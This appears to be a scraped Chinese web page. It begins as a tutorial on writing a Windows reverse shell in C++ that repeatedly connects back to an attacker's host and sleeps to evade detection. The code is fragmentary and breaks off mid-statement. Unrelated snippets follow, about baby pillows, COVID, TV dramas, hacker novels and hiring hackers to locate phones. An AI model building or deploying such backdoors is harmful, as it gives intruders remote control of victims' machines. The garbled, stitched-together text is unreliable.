渗透不会反弹shell?来教你写一个cmd的shell
包含的库:
#include
#include
#include
#include
#include
#pragma comment(lib, "Ws2_32.lib")
#define DEFAULT_BUFLEN 1024
winsock2和ws2tcpip两个库文件是用来初始化 *** 套接字的。windows用来初始化一些windows下的函数,string方便我们后面的一些字符串转换,iostream则是标准的c++头文件,#pragma comment(lib,“Ws2_32.lib”)用来指定编译器使用静态编译该库文件,防止其他环境下无法正常运行我们的文件。1024为给socket的recv和send函数定义缓冲区长度。
我们定义一个函数和一个主函数,反向shell的函数RunShell,两个参数,一个是我们的host一个是ip。
int RunShell(char *host, int port){
}
int main(int argc, char** argv) {
}
其中的argc为调用的参数的个数,argv为具体的值。这里稍微要注意一下,在接受参数的时候,默认的之一个参数是文件的路径名,所以,我们在接下来的传参的过程中,需要将argv[1]、argv[2]传递给我们的RunShell。
下面我们来编写我们的RunShell函数,为了避免中间有断开之类的情况,我们使用一个while循环进行一直监听,然后监听之前进行一些休眠,可以绕过部分检测,代码如下:
基本上都已经给出来了注释,都是windows的api,具体的作用就是用来声明一个socket套接字,然后跟目标进行连接,如果失败,则跳出本次循环,继续发出请求。具体的用法,可以查看微软官方的文档:
我们继续,接下来我们来编写我们的接收函数,并进行处理。
char RecvData[DEFAULT_BUFLEN];
memset(RecvData, 0, sizeof(RecvData));//将RecvData清0
int RecvCode = recv(ShellSock, RecvData, DEFAULT_BUFLEN, 0);//接收数据
if (RecvCode
刚出生的宝宝睡觉时需要用枕头吗,很多妈妈听说宝宝在刚出生的时候头部比较软是不需要枕头的,那么一般婴儿什么时候开始用枕头最好呢,婴儿头睡偏了还能不能长圆呢。 新生儿要不要睡枕头 新生儿颈部很软而且平...
历经在我国医护人员和大伙儿的主动,肺部感染肺炎疫情早已获得了基础操纵,可是還是有一些小规模纳税人的反跳,这让很多人都担忧肺炎疫情会再次反攻,终究新冠肺炎病原体的感染性极强,一个喷嚏一个唾沫星子就很有可...
2019年已过去大半,这一年又追了哪些好看的电视剧呢?下面十部你是否看过呢? TOP1 陈情令 仙侠剧《陈情令》完全是一部古装美男集锦,主演: 肖战 、王一博、 孟子义。大家也被肖战饰演...
本文导读目录: 1、黑客世界txt全集下载 2、最强黑客小说电子书txt全集下载 3、超级黑客txt全集下载 4、求黑客(青幕山)小说下载链接 5、《黑客》txt全集下载 6、黑客...
所谓设计赋能即从贸易代价的角度出发,在产物设计进程中将贸易代价纳入设计的思量要素中,以实现产物更大的代价化。本文从贸易代价的意义出发,团结四点权衡用户体验设计代价的主题展开了详细阐明,与各人分享。...
微信怎么找黑客帮忙相关问题 樱花动漫被黑客攻击相关问题 黑客用手机如何定位找人 手机黑客技术新手入门要看哪些书(黑客手机定位技术)...